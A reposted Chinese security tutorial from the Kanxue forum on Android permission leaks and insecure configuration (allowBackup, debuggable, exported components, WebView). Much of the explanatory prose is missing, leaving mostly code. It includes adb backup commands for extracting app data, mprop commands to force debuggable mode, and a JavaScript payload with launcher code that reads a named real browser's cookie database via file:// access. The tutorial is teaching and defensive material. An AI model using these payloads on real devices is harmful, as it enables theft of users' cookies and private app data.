Android APP漏洞之战——权限安全和安全配置漏洞详解
本文为看雪论坛精华文章
看雪论坛作者ID:随风而行aa
一
简介
前几篇帖子我们将Android的四大组件中漏洞做了一个具体的介绍,本节我们将进一步介绍Android中的权限配置相关的漏洞以及Android安全配置漏洞,因为权限配置往往和组件关联性很大,所以大家可以结合前几篇帖子来看。2017年权限漏洞仍占据漏洞榜单的第三名,但随着近几年的快速发展,开发人员开始不断注意对权限的安全设置,权限漏洞已经逐渐减少了。
本文第二节主要讲述Android权限机制,以及Android中权限所涉及的安全问题。
本文第三节主要讲述权限安全漏洞的原理和拿两个案例复现相关的权限漏洞,并给出了相应的防护方案。
本文第四节主要介绍Android中的安全配置问题,梳理了AndroidManifest.xml的结构注册,并讲解了相关的配置安全问题。
本文第五节主要复现和详细介绍了Android安全配置中的漏洞问题。
二
Android权限机制介绍
1、Android权限
(1)Android权限原理
(2)Android权限的分类
(3)权限组
权限组 权限
CALENDAR READ_CALENDAR<br/>WRITE_CALENDAR
CAMERA CAMERA
CONTACTS READ_CONTACTS<br/>WRITE_CONTACTS<br/>GET_ACCOUNTS
LOCATION ACCESS_FINE_LOCATION<br/>ACCESS_COARSE_LOCATION
MICROPHONE RECORD_AUDIO
PHONE READ_PHONE_STATE<br/>CALL_PHONE<br/>READ_CALL_LOG<br/>WRITE_CALL_LOG<br/>ADD_VOICEMAIL<br/>USE_SIP<br/>PROCESS_OUTGOING_CALLS
SENSORS BODY_SENSORS
SMS SEND_SMS<br/>RECEIVE_SMS<br/>READ_SMS<br/>RECEIVE_WAP_PUSH<br/>RECEIVE_MMS
STORAGE READ_EXTERNAL_STORAGE<br/>WRITE_EXTERNAL_STORAGE
(4)如何请求权限
<1>向清单文件中添加权限
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.ceco.r.gravitybox"
android:versionCode="1105"
android:versionName="11.0.5" >
//声明权限
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
<2>运行时申请权限
ContextCompat.checkSelfPermission方法:检查是否具有某项权限
参数1:Context 参数2:权限名
if (ContextCompat.checkSelfPermission(thisActivity, Manifest.permission.WRITE_CALENDAR)
!= PackageManager.PERMISSION_GRANTED) {
// 权限没有被授予
}
ActivityCompat.requestPermissions方法:
参数1:activity 参数2:要申请权限的字符串数组 参数3:请求码
if (ContextCompat.checkSelfPermission(thisActivity, Manifest.permission.WRITE_CALENDAR)
!= PackageManager.PERMISSION_GRANTED) {
// 权限没有被授予,申请权限
ActivityCompat.requestPermissions(thisActivity,new String[]{Manifest.permission.READ_CONTACTS},1);
}
onRequestPermissionsResult方法:
参数1:请求码 参数2:请求的权限 参数3:授权结果数组
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
@NonNull int[] grantResults){
switch(requestCode){
case 1:
if(grantResults.length>0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
call();
}else{
//你没有授权
Toast.makeText("TAG", "你没有授权!", Toast.LENGTH_SHORT).show();
}
break;
default:
}
}
(5)自定义权限
<1> 如何定义自定义权限
<manifest
xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.test" >
<permission
android:name="com.example.myapp.permission.DEADLY_ACTIVITY"
android:label="@string/permlab_deadlyActivity"
android:description="@string/permdesc_deadlyActivity"
android:permissionGroup="android.permission-group.COST_MONEY"
android:protectionLevel="dangerous" />
...
</manifest>
<2>自定义权限使用
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.test">
//自定义的权限,权限级别为 normal
<permission
android:name="com.example.test.permission.SECOND_ACTIVITY"
android:label="abc"
android:description="@string/permdesc_SecondActivity"
android:permissionGroup="android.permission-group.COST_MONEY"
android:protectionLevel="normal" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
//为SecondActivity加上android:permission="com.example.myapp.permission.SECOND_ACTIVITY"
<activity
android:name=".SecondActivity"
android:exported="true"
android:permission="com.example.test.permission.SECOND_ACTIVITY">
<intent-filter>
<action android:name="com.example.jump" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
......
</manifest>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.test">
//在AndroidManifest中声明权限
<uses-permission android:name="com.example.test.permission.SECOND_ACTIVITY"/>
Intent intent = new Intent();
intent.setAction("com.example.jump");
intent.addCategory(Intent.CATEGORY_DEFAULT);
if (intent.resolveActivity(getPackageManager()) != null) {
startActivity(intent);
}
<3>自定义权限注意点
2、权限安全种类和危害
<permission
android:name="string"
android:label="string resource"
android:description="string resource"
android:permissionGroup="string"
android:protectionLevel=["normal"|"dangerous"|"signature"|"signatureOrSystem" />
三
权限安全漏洞原理分析和复现
1、漏洞原理
2、漏洞案例
(1)下载文件权限泄漏漏洞
<!--网络-->
<uses-permission android:name="android.permission.INTERNET" />
<!-- 读写文件 -->
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<receiver
android:name=".Download"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="com.example.down" />
</intent-filter>
</receiver>
public class Download extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// TODO: This method is called when the BroadcastReceiver is receiving
// an Intent broadcast.
if(intent.getAction().equals("com.example.down")){
String url = intent.getExtras().getString("url");
String fileName = intent.getExtras().getString("fileName");
Toast.makeText(context,"Downlaod start!"+url+"---"+fileName,Toast.LENGTH_LONG).show();
Log.i("test",url+fileName);
}
//throw new UnsupportedOperationException("Not yet implemented");
}
}
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setAction("com.example.down");
intent.putExtra("url","https://www.baidu.com/");
intent.putExtra("filename","baidu");
sendBroadcast(intent);
}
}
3、漏洞防护
(1)组件设置不可导出
(2)设置权限级别
android:protectionLevel="normal",不需要动态申请
android:protectionLevel="dangerous",需要动态申请
android:protectionLevel="signature|signatureOrSystem",需要两个程序签名相同才能访问,这样就可以很好的避免权限泄漏的风险
四
Android默认设置介绍
(1)AndroidManifest.xml默认设置
<1> allowBackup
allowBackup 风险位置:AndroidMannifest.xml 文件 android:allowBackup 属性;
allowBackup 风险触发前提条件:未将 AndroidMannifest.xml 文件中的 android:allowBackup 属性值设为 false;
allowBackup 风险原理:当 allowBackup 标志值为 true 时,即可通过 adb backup 和 adb restore 来备份和恢复应用程序数据/
命令:adb backup [-system|nosystem] -all [-apk|-noapk] [-shared|-noshared] -f <档案名称>[需要备份的应用包名]
[-system|nosystem]
这个指令告诉adb在备份时是否要连同系统一起备份,若没有打开的话,默认是-system表示会一起备份系统,若连系统一起备份,在还原时候会覆盖系统档案,这对已经升级的手机是非常不好的,-nosystem是建议要打上去的指令
-all
这个指令除非要备份单一App不然是一定要打上去的,表示是否备份全部的App,若有加上`-nosystem`,就只会备份你目前已经安装上去的App而不会连系统App一起备份
[-apk|-noapk]
默认是-noapk,这个参数的意思是,是否连安装的apk一起备份,若为-noapk,则只会备份apk的资料档
[-shared|-noshared]
默认是`-noshared`,表示是否连手机存储空间或是SD卡的档案一起备份
-f
用这个来选择备份文件存储在哪里,例如-f /backup/applock.ab将会使文件存储在根磁盘(Windows的C盘等等)下一个名为backup的文件夹里,并且备份文件名为applock.ab
adb backup -apk -shared -system -all -f applock.ab
java -jar ade.jar unpack 1.ab 1.tar
adb restore applock.ab
<2> debuggable
<3> exported
(2)WebView默认设置
五
Android默认设置漏洞原理分析和复现
1、 allowBackup
(1)备份安全设置信息泄露漏洞
<1> 漏洞复现
adb backup -f allowBackup.ab -noapk com.mwr.example.sieve
java -jar abe.jar unpack allowBackup.ab 1.tar
adb restore allowBackup.ab
<2> 漏洞说明
<3> 安全防护
(2)debuggable 安全风险
<1> 使用mprop
adb push mprop /data/local/tmp
./mprop ro.debuggable 1
getprop ro.debuggable
stop;start
<2> 使用Xposed模块
<3> 系统定制
(3)exported导出漏洞
2、 WebView安全配置漏洞
(1)漏洞原理
(2)漏洞案例
<1> WebView密码明文存储漏洞——setSavePassword(true)
<2> WebView域控制不严格漏洞
function getDatabase() {
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');}
}
xmlhttp = request;
var prefix = "file:////data/data/com.qihoo.browser/databases";
var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db
var path = prefix.concat(postfix);
// 获取本地文件代码
xmlhttp.open("GET", path, false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
return ret;
}
copyFile(); //自定义函数,释放filehehe.html到sd卡上
String url = "file:///mnt/sdcard/filehehe.html";
Intent contIntent = new Intent();
contIntent.setAction("android.intent.action.VIEW");
contIntent.setData(Uri.parse(url));
Intent intent = new Intent();
intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(url));
this.startActivity(intent);
(3)安全防护
六
实验总结
七
参考文献
第一行代码
卢璐. Android应用权限泄露漏洞检测技术研究[D].西安电子科技大学,2018.
姜维 Android应用安全防护和逆向分析
https://juejin.cn/post/6844903997669638151#heading-13
https://juejin.cn/post/6844903817662693384
https://blog.csdn.net/qq_38350635/article/details/103863992
https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
https://www.cnblogs.com/yaq-qq/p/5843127.html
ttps://www.codeleading.com/article/67095305050/
https://github.com/nelenkov/android-backup-extractor/
https://blog.csdn.net/qq_43290288/article/details/98873651
https://segmentfault.com/a/1190000002590577
https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
看雪ID:随风而行aa
https://bbs.pediy.com/user-home-905443.htm
# 往期推荐
2.通过对PsSetCreateProcessNotifyRoutineEx的逆向分析得出的结果来实现反进程监控
5.全网最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析
6.基于linker实现so加壳补充-------从dex中加载so
球分享
球点赞
球在看
点击“阅读原文”,了解更多!